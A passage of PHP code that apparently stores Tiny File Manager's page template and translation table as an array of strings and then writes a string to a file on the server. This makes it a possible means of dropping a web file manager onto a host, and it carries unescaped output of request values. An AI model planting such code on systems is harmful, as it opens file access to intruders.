?>", 3767 => "<script>", 3768 => "    \$(document).on('click', '[data-toggle=\"lightbox\"]', function(event) {", 3769 => "        event.preventDefault();", 3770 => "        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== \"undefined\" && isHighlightingEnabled) { setTimeout(function () { \$('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };", 3771 => "        \$(this).ekkoLightbox({", 3772 => "            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }", 3773 => "        });", 3774 => "    });", 3775 => "    //TFM Config", 3776 => "    window.curi = \"https://tinyfilemanager.github.io/config.json\", window.config = null;", 3777 => "    function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { \$.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}", 3778 => "    function template(html,options){", 3779 => "        var re=/<\\%([^\\%>]+)?\\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\\n':'r.push('+line+');\\n'):(code+=line!=''?'r.push(\"'+line.replace(/\"/g,'\\\\\"')+'\");\\n':'');return add}", 3780 => "        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}", 3781 => "        add(html.substr(cursor,html.length-cursor));code+='return r.join(\"\");';return new Function(code.replace(/[\\r\\t\\n]/g,'')).apply(options)", 3782 => "    }", 3783 => "    function newfolder(e) {", 3784 => "        var t = document.getElementById(\"newfilename\").value, n = document.querySelector('input[name=\"newfile\"]:checked').value;", 3785 => "        null !== t && \"\" !== t && n && (window.location.hash = \"#\", window.location.search = \"p=\" + encodeURIComponent(e) + \"&new=\" + encodeURIComponent(t) + \"&type=\" + encodeURIComponent(n))", 3786 => "    }", 3787 => "    function rename(e, t) {var n = prompt(\"New name\", t);null !== n && \"\" !== n && n != t && (window.location.search = \"p=\" + encodeURIComponent(e) + \"&ren=\" + encodeURIComponent(t) + \"&to=\" + encodeURIComponent(n))}", 3788 => "    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = \"boolean\" == typeof t ? t : !e[n].checked }", 3789 => "    function get_checkboxes() { for (var e = document.getElementsByName(\"file[]\"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = \"checkbox\") && t.push(e[n]); return t }", 3790 => "    function select_all() { change_checkboxes(get_checkboxes(), !0) }", 3791 => "    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }", 3792 => "    function invert_all() { change_checkboxes(get_checkboxes()) }", 3793 => "    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }", 3794 => "    function backup(e, t) { //Create file backup with .bck", 3795 => "        var n = new XMLHttpRequest,", 3796 => "            a = \"path=\" + e + \"&file=\" + t + \"&type=backup&ajax=true\";", 3797 => "        return n.open(\"POST\", \"\", !0), n.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"), n.onreadystatechange = function () {", 3798 => "            4 == n.readyState && 200 == n.status && toast(n.responseText)", 3799 => "        }, n.send(a), !1", 3800 => "    }", 3801 => "    // Toast message", 3802 => "    function toast(txt) { var x = document.getElementById(\"snackbar\");x.innerHTML=txt;x.className = \"show\";setTimeout(function(){ x.className = x.className.replace(\"show\", \"\"); }, 3000); }", 3803 => "    //Save file", 3804 => "    function edit_save(e, t) {", 3805 => "        var n = \"ace\" == t ? editor.getSession().getValue() : document.getElementById(\"normal-editor\").value;", 3806 => "        if (n) {", 3807 => "            if(true){", 3808 => "                var data = {ajax: true, content: n, type: 'save'};", 3809 => "", 3810 => "                \$.ajax({", 3811 => "                    type: \"POST\",", 3812 => "                    url: window.location,", 3813 => "                    // The key needs to match your method's input parameter (case-sensitive).", 3814 => "                    data: JSON.stringify(data),", 3815 => "                    contentType: \"multipart/form-data-encoded; charset=utf-8\",", 3816 => "                    //dataType: \"json\",", 3817 => "                    success: function(mes){toast(\"Saved Successfully\"); window.onbeforeunload = function() {return}},", 3818 => "                    failure: function(mes) {toast(\"Error: try again\");},", 3819 => "                    error: function(mes) {toast(`<p style=\"background-color:red\">\${mes.responseText}</p>`);}", 3820 => "                });", 3821 => "", 3822 => "            }", 3823 => "            else{", 3824 => "                var a = document.createElement(\"form\");", 3825 => "                a.setAttribute(\"method\", \"POST\"), a.setAttribute(\"action\", \"\");", 3826 => "                var o = document.createElement(\"textarea\");", 3827 => "                o.setAttribute(\"type\", \"textarea\"), o.setAttribute(\"name\", \"savedata\");", 3828 => "                var c = document.createTextNode(n);", 3829 => "                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()", 3830 => "            }", 3831 => "        }", 3832 => "    }", 3833 => "    //Check latest version", 3834 => "    function latest_release_info(v) {", 3835 => "        if(!!window.config){var tplObj={id:1024,title:\"Check Version\",action:false},tpl=\$(\"#js-tpl-modal\").html();", 3836 => "        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}", 3837 => "        \$('#wrapper').append(template(tpl,tplObj));\$(\"#js-ModalCenter-1024\").modal('show');}else{fm_get_config();}", 3838 => "    }", 3839 => "    function show_new_pwd() { \$(\".js-new-pwd\").toggleClass('hidden'); }", 3840 => "    //Save Settings", 3841 => "    function save_settings(\$this) {", 3842 => "        let form = \$(\$this);", 3843 => "        \$.ajax({", 3844 => "            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+\"&ajax=\"+true,", 3845 => "            success: function (data) {if(data) { window.location.reload();}}", 3846 => "        }); return false;", 3847 => "    }", 3848 => "    //Create new password hash", 3849 => "    function new_password_hash(\$this) {", 3850 => "        let form = \$(\$this), \$pwd = \$(\"#js-pwd-result\"); \$pwd.val('');", 3851 => "        \$.ajax({", 3852 => "            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+\"&ajax=\"+true,", 3853 => "            success: function (data) { if(data) { \$pwd.val(data); } }", 3854 => "        }); return false;", 3855 => "    }", 3856 => "    //Upload files using URL @param {Object}", 3857 => "    function upload_from_url(\$this) {", 3858 => "        let form = \$(\$this), resultWrapper = \$(\"div#js-url-upload__list\");", 3859 => "        \$.ajax({", 3860 => "            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+\"&ajax=\"+true,", 3861 => "            beforeSend: function() { form.find(\"input[name=uploadurl]\").attr(\"disabled\",\"disabled\"); form.find(\"button\").hide(); form.find(\".lds-facebook\").addClass('show-me'); },", 3862 => "            success: function (data) {", 3863 => "                if(data) {", 3864 => "                    data = JSON.parse(data);", 3865 => "                    if(data.done) {", 3866 => "                        resultWrapper.append('<div class=\"alert alert-success row\">Uploaded Successful: '+data.done.name+'</div>'); form.find(\"input[name=uploadurl]\").val('');", 3867 => "                    } else if(data['fail']) { resultWrapper.append('<div class=\"alert alert-danger row\">Error: '+data.fail.message+'</div>'); }", 3868 => "                    form.find(\"input[name=uploadurl]\").removeAttr(\"disabled\");form.find(\"button\").show();form.find(\".lds-facebook\").removeClass('show-me');", 3869 => "                }", 3870 => "            },", 3871 => "            error: function(xhr) {", 3872 => "                form.find(\"input[name=uploadurl]\").removeAttr(\"disabled\");form.find(\"button\").show();form.find(\".lds-facebook\").removeClass('show-me');console.error(xhr);", 3873 => "            }", 3874 => "        }); return false;", 3875 => "    }", 3876 => "    //Search template", 3877 => "    function search_template(data) {", 3878 => "        var response = \"\";", 3879 => "        \$.each(data, function (key, val) {", 3880 => "            response += `<li><a href=\"?p=\${val.path}&view=\${val.name}\">\${val.path}/\${val.name}</a></li>`;", 3881 => "        });", 3882 => "        return response;", 3883 => "    }", 3884 => "    //search", 3885 => "    function fm_search() {", 3886 => "        var searchTxt = \$(\"input#advanced-search\").val(), searchWrapper = \$(\"ul#search-wrapper\"), path = \$(\"#js-search-modal\").attr(\"href\"), _html = \"\", \$loader = \$(\"div.lds-facebook\");", 3887 => "        if(!!searchTxt && searchTxt.length > 2 && path) {", 3888 => "            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};", 3889 => "            \$.ajax({", 3890 => "                type: \"POST\",", 3891 => "                url: window.location,", 3892 => "                data: data,", 3893 => "                beforeSend: function() {", 3894 => "                    searchWrapper.html('');", 3895 => "                    \$loader.addClass('show-me');", 3896 => "                },", 3897 => "                success: function(data){", 3898 => "                    \$loader.removeClass('show-me');", 3899 => "                    data = JSON.parse(data);", 3900 => "                    if(data && data.length) {", 3901 => "                        _html = search_template(data);", 3902 => "                        searchWrapper.html(_html);", 3903 => "                    } else { searchWrapper.html('<p class=\"m-2\">No result found!<p>'); }", 3904 => "                },", 3905 => "                error: function(xhr) { \$loader.removeClass('show-me'); searchWrapper.html('<p class=\"m-2\">ERROR: Try again later!</p>'); },", 3906 => "                failure: function(mes) { \$loader.removeClass('show-me'); searchWrapper.html('<p class=\"m-2\">ERROR: Try again later!</p>');}", 3907 => "            });", 3908 => "        } else { searchWrapper.html(\"OOPS: minimum 3 characters required!\"); }", 3909 => "    }", 3910 => "", 3911 => "    //on mouse hover image preview", 3912 => "    !function(s){s.previewImage=function(e){var o=s(document),t=\".previewImage\",a=s.extend({xOffset:20,yOffset:-20,fadeIn:\"fast\",css:{padding:\"5px\",border:\"1px solid #cccccc\",\"background-color\":\"#fff\"},eventSelector:\"[data-preview-image]\",dataKey:\"previewImage\",overlayId:\"preview-image-plugin-overlay\"},e);return o.off(t),o.on(\"mouseover\"+t,a.eventSelector,function(e){s(\"p#\"+a.overlayId).remove();var o=s(\"<p>\").attr(\"id\",a.overlayId).css(\"position\",\"absolute\").css(\"display\",\"none\").append(s('<img class=\"c-preview-img\">').attr(\"src\",s(this).data(a.dataKey)));a.css&&o.css(a.css),s(\"body\").append(o),o.css(\"top\",e.pageY+a.yOffset+\"px\").css(\"left\",e.pageX+a.xOffset+\"px\").fadeIn(a.fadeIn)}),o.on(\"mouseout\"+t,a.eventSelector,function(){s(\"#\"+a.overlayId).remove()}),o.on(\"mousemove\"+t,a.eventSelector,function(e){s(\"#\"+a.overlayId).css(\"top\",e.pageY+a.yOffset+\"px\").css(\"left\",e.pageX+a.xOffset+\"px\")}),this},s.previewImage()}(jQuery);", 3913 => "", 3914 => "    // Dom Ready Event", 3915 => "    \$(document).ready( function () {", 3916 => "        //load config", 3917 => "        fm_get_config();", 3918 => "        //dataTable init", 3919 => "        var \$table = \$('#main-table'),", 3920 => "            tableLng = \$table.find('th').length,", 3921 => "            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],", 3922 => "            mainTable = \$('#main-table').DataTable({\"paging\": false, \"info\": false, \"order\": [], \"columnDefs\": [{\"targets\": _targets, \"orderable\": false}]", 3923 => "        });", 3924 => "        //search", 3925 => "        \$('#search-addon').on( 'keyup', function () {", 3926 => "            mainTable.search( this.value ).draw();", 3927 => "        });", 3928 => "        \$(\"input#advanced-search\").on('keyup', function (e) {", 3929 => "            if (e.keyCode === 13) { fm_search(); }", 3930 => "        });", 3931 => "        \$('#search-addon3').on( 'click', function () { fm_search(); });", 3932 => "        //upload nav tabs", 3933 => "        \$(\".fm-upload-wrapper .card-header-tabs\").on(\"click\", 'a', function(e){", 3934 => "            e.preventDefault();let target=\$(this).data('target');", 3935 => "            \$(\".fm-upload-wrapper .card-header-tabs a\").removeClass('active');\$(this).addClass('active');", 3936 => "            \$(\".fm-upload-wrapper .card-tabs-container\").addClass('hidden');\$(target).removeClass('hidden');", 3937 => "        });", 3938 => "    });", 3939 => "</script>", 3940 => "<?php if (isset(\$_GET['edit']) && isset(\$_GET['env']) && FM_EDIT_FILE):", 3941 => "        \$ext = \"javascript\";", 3942 => "        \$ext = pathinfo(\$_GET[\"edit\"], PATHINFO_EXTENSION);", 3943 => "        ?>", 3944 => "    <script src=\"https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js\"></script>", 3945 => "    <script>", 3946 => "        var editor = ace.edit(\"editor\");", 3947 => "        editor.getSession().setMode( {path:\"ace/mode/<?php echo \$ext; ?>\", inline:true} );", 3948 => "        //editor.setTheme(\"ace/theme/twilight\"); //Dark Theme", 3949 => "        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }", 3950 => "        editor.commands.addCommands([{", 3951 => "            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},", 3952 => "            exec: function(editor) { edit_save(this, 'ace'); }", 3953 => "        }]);", 3954 => "        function renderThemeMode() {", 3955 => "            var \$modeEl = \$(\"select#js-ace-mode\"), \$themeEl = \$(\"select#js-ace-theme\"), \$fontSizeEl = \$(\"select#js-ace-fontSize\"), optionNode = function(type, arr){ var \$Option = \"\"; \$.each(arr, function(i, val) { \$Option += \"<option value='\"+type+i+\"'>\" + val + \"</option>\"; }); return \$Option; },", 3956 => "                _data = {\"aceTheme\":{\"bright\":{\"chrome\":\"Chrome\",\"clouds\":\"Clouds\",\"crimson_editor\":\"Crimson Editor\",\"dawn\":\"Dawn\",\"dreamweaver\":\"Dreamweaver\",\"eclipse\":\"Eclipse\",\"github\":\"GitHub\",\"iplastic\":\"IPlastic\",\"solarized_light\":\"Solarized Light\",\"textmate\":\"TextMate\",\"tomorrow\":\"Tomorrow\",\"xcode\":\"XCode\",\"kuroir\":\"Kuroir\",\"katzenmilch\":\"KatzenMilch\",\"sqlserver\":\"SQL Server\"},\"dark\":{\"ambiance\":\"Ambiance\",\"chaos\":\"Chaos\",\"clouds_midnight\":\"Clouds Midnight\",\"dracula\":\"Dracula\",\"cobalt\":\"Cobalt\",\"gruvbox\":\"Gruvbox\",\"gob\":\"Green on Black\",\"idle_fingers\":\"idle Fingers\",\"kr_theme\":\"krTheme\",\"merbivore\":\"Merbivore\",\"merbivore_soft\":\"Merbivore Soft\",\"mono_industrial\":\"Mono Industrial\",\"monokai\":\"Monokai\",\"pastel_on_dark\":\"Pastel on dark\",\"solarized_dark\":\"Solarized Dark\",\"terminal\":\"Terminal\",\"tomorrow_night\":\"Tomorrow Night\",\"tomorrow_night_blue\":\"Tomorrow Night Blue\",\"tomorrow_night_bright\":\"Tomorrow Night Bright\",\"tomorrow_night_eighties\":\"Tomorrow Night 80s\",\"twilight\":\"Twilight\",\"vibrant_ink\":\"Vibrant Ink\"}},\"aceMode\":{\"javascript\":\"JavaScript\",\"abap\":\"ABAP\",\"abc\":\"ABC\",\"actionscript\":\"ActionScript\",\"ada\":\"ADA\",\"apache_conf\":\"Apache Conf\",\"asciidoc\":\"AsciiDoc\",\"asl\":\"ASL\",\"assembly_x86\":\"Assembly x86\",\"autohotkey\":\"AutoHotKey\",\"apex\":\"Apex\",\"batchfile\":\"BatchFile\",\"bro\":\"Bro\",\"c_cpp\":\"C and C++\",\"c9search\":\"C9Search\",\"cirru\":\"Cirru\",\"clojure\":\"Clojure\",\"cobol\":\"Cobol\",\"coffee\":\"CoffeeScript\",\"coldfusion\":\"ColdFusion\",\"csharp\":\"C#\",\"csound_document\":\"Csound Document\",\"csound_orchestra\":\"Csound\",\"csound_score\":\"Csound Score\",\"css\":\"CSS\",\"curly\":\"Curly\",\"d\":\"D\",\"dart\":\"Dart\",\"diff\":\"Diff\",\"dockerfile\":\"Dockerfile\",\"dot\":\"Dot\",\"drools\":\"Drools\",\"edifact\":\"Edifact\",\"eiffel\":\"Eiffel\",\"ejs\":\"EJS\",\"elixir\":\"Elixir\",\"elm\":\"Elm\",\"erlang\":\"Erlang\",\"forth\":\"Forth\",\"fortran\":\"Fortran\",\"fsharp\":\"FSharp\",\"fsl\":\"FSL\",\"ftl\":\"FreeMarker\",\"gcode\":\"Gcode\",\"gherkin\":\"Gherkin\",\"gitignore\":\"Gitignore\",\"glsl\":\"Glsl\",\"gobstones\":\"Gobstones\",\"golang\":\"Go\",\"graphqlschema\":\"GraphQLSchema\",\"groovy\":\"Groovy\",\"haml\":\"HAML\",\"handlebars\":\"Handlebars\",\"haskell\":\"Haskell\",\"haskell_cabal\":\"Haskell Cabal\",\"haxe\":\"haXe\",\"hjson\":\"Hjson\",\"html\":\"HTML\",\"html_elixir\":\"HTML (Elixir)\",\"html_ruby\":\"HTML (Ruby)\",\"ini\":\"INI\",\"io\":\"Io\",\"jack\":\"Jack\",\"jade\":\"Jade\",\"java\":\"Java\",\"json\":\"JSON\",\"jsoniq\":\"JSONiq\",\"jsp\":\"JSP\",\"jssm\":\"JSSM\",\"jsx\":\"JSX\",\"julia\":\"Julia\",\"kotlin\":\"Kotlin\",\"latex\":\"LaTeX\",\"less\":\"LESS\",\"liquid\":\"Liquid\",\"lisp\":\"Lisp\",\"livescript\":\"LiveScript\",\"logiql\":\"LogiQL\",\"lsl\":\"LSL\",\"lua\":\"Lua\",\"luapage\":\"LuaPage\",\"lucene\":\"Lucene\",\"makefile\":\"Makefile\",\"markdown\":\"Markdown\",\"mask\":\"Mask\",\"matlab\":\"MATLAB\",\"maze\":\"Maze\",\"mel\":\"MEL\",\"mixal\":\"MIXAL\",\"mushcode\":\"MUSHCode\",\"mysql\":\"MySQL\",\"nix\":\"Nix\",\"nsis\":\"NSIS\",\"objectivec\":\"Objective-C\",\"ocaml\":\"OCaml\",\"pascal\":\"Pascal\",\"perl\":\"Perl\",\"perl6\":\"Perl 6\",\"pgsql\":\"pgSQL\",\"php_laravel_blade\":\"PHP (Blade Template)\",\"php\":\"PHP\",\"puppet\":\"Puppet\",\"pig\":\"Pig\",\"powershell\":\"Powershell\",\"praat\":\"Praat\",\"prolog\":\"Prolog\",\"properties\":\"Properties\",\"protobuf\":\"Protobuf\",\"python\":\"Python\",\"r\":\"R\",\"razor\":\"Razor\",\"rdoc\":\"RDoc\",\"red\":\"Red\",\"rhtml\":\"RHTML\",\"rst\":\"RST\",\"ruby\":\"Ruby\",\"rust\":\"Rust\",\"sass\":\"SASS\",\"scad\":\"SCAD\",\"scala\":\"Scala\",\"scheme\":\"Scheme\",\"scss\":\"SCSS\",\"sh\":\"SH\",\"sjs\":\"SJS\",\"slim\":\"Slim\",\"smarty\":\"Smarty\",\"snippets\":\"snippets\",\"soy_template\":\"Soy Template\",\"space\":\"Space\",\"sql\":\"SQL\",\"sqlserver\":\"SQLServer\",\"stylus\":\"Stylus\",\"svg\":\"SVG\",\"swift\":\"Swift\",\"tcl\":\"Tcl\",\"terraform\":\"Terraform\",\"tex\":\"Tex\",\"text\":\"Text\",\"textile\":\"Textile\",\"toml\":\"Toml\",\"tsx\":\"TSX\",\"twig\":\"Twig\",\"typescript\":\"Typescript\",\"vala\":\"Vala\",\"vbscript\":\"VBScript\",\"velocity\":\"Velocity\",\"verilog\":\"Verilog\",\"vhdl\":\"VHDL\",\"visualforce\":\"Visualforce\",\"wollok\":\"Wollok\",\"xml\":\"XML\",\"xquery\":\"XQuery\",\"yaml\":\"YAML\",\"django\":\"Django\"},\"fontSize\":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};", 3957 => "            if(_data && _data.aceMode) { \$modeEl.html(optionNode(\"ace/mode/\", _data.aceMode)); }", 3958 => "            if(_data && _data.aceTheme) { var lightTheme = optionNode(\"ace/theme/\", _data.aceTheme.bright), darkTheme = optionNode(\"ace/theme/\", _data.aceTheme.dark); \$themeEl.html(\"<optgroup label=\\\"Bright\\\">\"+lightTheme+\"</optgroup><optgroup label=\\\"Dark\\\">\"+darkTheme+\"</optgroup>\");}", 3959 => "            if(_data && _data.fontSize) { \$fontSizeEl.html(optionNode(\"\", _data.fontSize)); }", 3960 => "            \$modeEl.val( editor.getSession().\$modeId );", 3961 => "            \$themeEl.val( editor.getTheme() );", 3962 => "            \$fontSizeEl.val(12).change(); //set default font size in drop down", 3963 => "        }", 3964 => "", 3965 => "        \$(function(){", 3966 => "            renderThemeMode();", 3967 => "            \$(\".js-ace-toolbar\").on(\"click\", 'button', function(e){", 3968 => "                e.preventDefault();", 3969 => "                let cmdValue = \$(this).attr(\"data-cmd\"), editorOption = \$(this).attr(\"data-option\");", 3970 => "                if(cmdValue && cmdValue != \"none\") {", 3971 => "                    ace_commend(cmdValue);", 3972 => "                } else if(editorOption) {", 3973 => "                    if(editorOption == \"fullscreen\") {", 3974 => "                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)", 3975 => "                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());", 3976 => "                    } else if(editorOption == \"wrap\") {", 3977 => "                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;", 3978 => "                        editor.getSession().setUseWrapMode(wrapStatus);", 3979 => "                    } else if(editorOption == \"help\") {", 3980 => "                        var helpHtml=\"\";\$.each(window.config.aceHelp,function(i,value){helpHtml+=\"<li>\"+value+\"</li>\";});var tplObj={id:1028,title:\"Help\",action:false,content:helpHtml},tpl=\$(\"#js-tpl-modal\").html();\$('#wrapper').append(template(tpl,tplObj));\$(\"#js-ModalCenter-1028\").modal('show');", 3981 => "                    }", 3982 => "                }", 3983 => "            });", 3984 => "            \$(\"select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize\").on(\"change\", function(e){", 3985 => "                e.preventDefault();", 3986 => "                let selectedValue = \$(this).val(), selectionType = \$(this).attr(\"data-type\");", 3987 => "                if(selectedValue && selectionType == \"mode\") {", 3988 => "                    editor.getSession().setMode(selectedValue);", 3989 => "                } else if(selectedValue && selectionType == \"theme\") {", 3990 => "                    editor.setTheme(selectedValue);", 3991 => "                }else if(selectedValue && selectionType == \"fontSize\") {", 3992 => "                    editor.setFontSize(parseInt(selectedValue));", 3993 => "                }", 3994 => "            });", 3995 => "        });", 3996 => "    </script>", 3997 => "<?php endif; ?>", 3998 => "<div id=\"snackbar\"></div>", 3999 => "</body>", 4000 => "</html>", 4001 => "<?php", 4002 => "}", 4003 => "", 4004 => "/**", 4005 => " * Language Translation System", 4006 => " * @param string \$txt", 4007 => " * @return string", 4008 => " */", 4009 => "function lng(\$txt) {", 4010 => "    global \$lang;", 4011 => "", 4012 => "    // English Language", 4013 => "    \$tr['en']['AppName']        = 'Tiny File Manager';      \$tr['en']['AppTitle']           = 'File Manager';", 4014 => "    \$tr['en']['Login']          = 'Sign in';                \$tr['en']['Username']           = 'Username';", 4015 => "    \$tr['en']['Password']       = 'Password';               \$tr['en']['Logout']             = 'Sign Out';", 4016 => "    \$tr['en']['Move']           = 'Move';                   \$tr['en']['Copy']               = 'Copy';", 4017 => "    \$tr['en']['Save']           = 'Save';                   \$tr['en']['SelectAll']          = 'Select all';", 4018 => "    \$tr['en']['UnSelectAll']    = 'Unselect all';           \$tr['en']['File']               = 'File';", 4019 => "    \$tr['en']['Back']           = 'Back';                   \$tr['en']['Size']               = 'Size';", 4020 => "    \$tr['en']['Perms']          = 'Perms';                  \$tr['en']['Modified']           = 'Modified';", 4021 => "    \$tr['en']['Owner']          = 'Owner';                  \$tr['en']['Search']             = 'Search';", 4022 => "    \$tr['en']['NewItem']        = 'New Item';               \$tr['en']['Folder']             = 'Folder';", 4023 => "    \$tr['en']['Delete']         = 'Delete';                 \$tr['en']['Rename']             = 'Rename';", 4024 => "    \$tr['en']['CopyTo']         = 'Copy to';                \$tr['en']['DirectLink']         = 'Direct link';", 4025 => "    \$tr['en']['UploadingFiles'] = 'Upload Files';           \$tr['en']['ChangePermissions']  = 'Change Permissions';", 4026 => "    \$tr['en']['Copying']        = 'Copying';                \$tr['en']['CreateNewItem']      = 'Create New Item';", 4027 => "    \$tr['en']['Name']           = 'Name';                   \$tr['en']['AdvancedEditor']     = 'Advanced Editor';", 4028 => "    \$tr['en']['RememberMe']     = 'Remember Me';            \$tr['en']['Actions']            = 'Actions';", 4029 => "    \$tr['en']['Upload']         = 'Upload';                 \$tr['en']['Cancel']             = 'Cancel';", 4030 => "    \$tr['en']['InvertSelection']= 'Invert Selection';       \$tr['en']['DestinationFolder']  = 'Destination Folder';", 4031 => "    \$tr['en']['ItemType']       = 'Item Type';              \$tr['en']['ItemName']           = 'Item Name';", 4032 => "    \$tr['en']['CreateNow']      = 'Create Now';             \$tr['en']['Download']           = 'Download';", 4033 => "    \$tr['en']['Open']           = 'Open';                   \$tr['en']['UnZip']              = 'UnZip';", 4034 => "    \$tr['en']['UnZipToFolder']  = 'UnZip to folder';        \$tr['en']['Edit']               = 'Edit';", 4035 => "    \$tr['en']['NormalEditor']   = 'Normal Editor';          \$tr['en']['BackUp']             = 'Back Up';", 4036 => "    \$tr['en']['SourceFolder']   = 'Source Folder';          \$tr['en']['Files']              = 'Files';", 4037 => "    \$tr['en']['Move']           = 'Move';                   \$tr['en']['Change']             = 'Change';", 4038 => "    \$tr['en']['Settings']       = 'Settings';               \$tr['en']['Language']           = 'Language';", 4039 => "    \$tr['en']['Folder is empty']    = 'Folder is empty';    \$tr['en']['PartitionSize']      = 'Partition size';", 4040 => "    \$tr['en']['ErrorReporting'] = 'Error Reporting';        \$tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';", 4041 => "    \$tr['en']['Full size']      = 'Full size';              \$tr['en']['Help']               = 'Help';", 4042 => "    \$tr['en']['Free of']        = 'Free of';                \$tr['en']['Preview']            = 'Preview';", 4043 => "    \$tr['en']['Help Documents'] = 'Help Documents';         \$tr['en']['Report Issue']       = 'Report Issue';", 4044 => "    \$tr['en']['Generate']       = 'Generate';               \$tr['en']['FullSize']           = 'Full Size';", 4045 => "    \$tr['en']['FreeOf']         = 'free of';                \$tr['en']['CalculateFolderSize']= 'Calculate folder size';", 4046 => "    \$tr['en']['ProcessID']      = 'Process ID';             \$tr['en']['Created']    = 'Created';", 4047 => "    \$tr['en']['HideColumns']    = 'Hide Perms/Owner columns';\$tr['en']['You are logged in'] = 'You are logged in'; ", 4048 => "    \$tr['en']['Check Latest Version'] = 'Check Latest Version';\$tr['en']['Generate new password hash'] = 'Generate new password hash';", 4049 => "    \$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';", 4050 => "    \$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';", 4051 => "    ", 4052 => "    // new - novos", 4053 => "    ", 4054 => "    \$tr['en']['Advanced Search']    = 'Advanced Search';    \$tr['en']['Error while copying fro']    = 'Error while copying fro';", 4055 => "    \$tr['en']['Nothing selected']   = 'Nothing selected';   \$tr['en']['Paths must be not equal']    = 'Paths must be not equal';", 4056 => "    \$tr['en']['Renamed from']       = 'Renamed from';       \$tr['en']['Archive not unpacked']       = 'Archive not unpacked';", 4057 => "    \$tr['en']['Deleted']            = 'Deleted';            \$tr['en']['Archive not created']        = 'Archive not created';        ", 4058 => "    \$tr['en']['Copied from']        = 'Copied from';        \$tr['en']['Permissions changed']        = 'Permissions changed';", 4059 => "    \$tr['en']['to']                 = 'to';                 \$tr['en']['Saved Successfully']         = 'Saved Successfully';", 4060 => "    \$tr['en']['not found!']         = 'not found!';         \$tr['en']['File Saved Successfully']    = 'File Saved Successfully';", 4061 => "    \$tr['en']['Archive']            = 'Archive';            \$tr['en']['Permissions not changed']    = 'Permissions not changed';         ", 4062 => "    \$tr['en']['Select folder']      = 'Select folder';      \$tr['en']['Source path not defined']    = 'Source path not defined';", 4063 => "    \$tr['en']['already exists']     = 'already exists';     \$tr['en']['Error while moving from']    = 'Error while moving from';", 4064 => "    \$tr['en']['Create archive?']    = 'Create archive?';    \$tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';", 4065 => "    \$tr['en']['Archive unpacked']   = 'Archive unpacked';   \$tr['en']['File extension is not allowed']  = 'File extension is not allowed';", 4066 => "    \$tr['en']['Root path']          = 'Root path';          \$tr['en']['Error while renaming from']  = 'Error while renaming from';", 4067 => "    \$tr['en']['File not found']     = 'File not found';     \$tr['en']['Error while deleting items'] = 'Error while deleting items';   ", 4068 => "    \$tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';", 4069 => "    \$tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';", 4070 => "    \$tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';", 4071 => "    \$tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';", 4072 => "    \$tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';", 4073 => "    \$tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';", 4074 => "    \$tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';", 4075 => "    \$tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';", 4076 => "    \$tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';", 4077 => "    \$tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';", 4078 => "    ", 4079 => "    \$tr['en']['Moved from']                 = 'Moved from'; ", 4080 => "", 4081 => "    \$i18n = fm_get_translations(\$tr);", 4082 => "    \$tr = \$i18n ? \$i18n : \$tr;", 4083 => "", 4084 => "    if (!strlen(\$lang)) \$lang = 'en';", 4085 => "    if (isset(\$tr[\$lang][\$txt])) return fm_enc(\$tr[\$lang][\$txt]);", 4086 => "    else if (isset(\$tr['en'][\$txt])) return fm_enc(\$tr['en'][\$txt]);", 4087 => "    else return \"\$txt\";", 4088 => "}", 4089 => "", 4090 => "?>", 4091 => "");
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
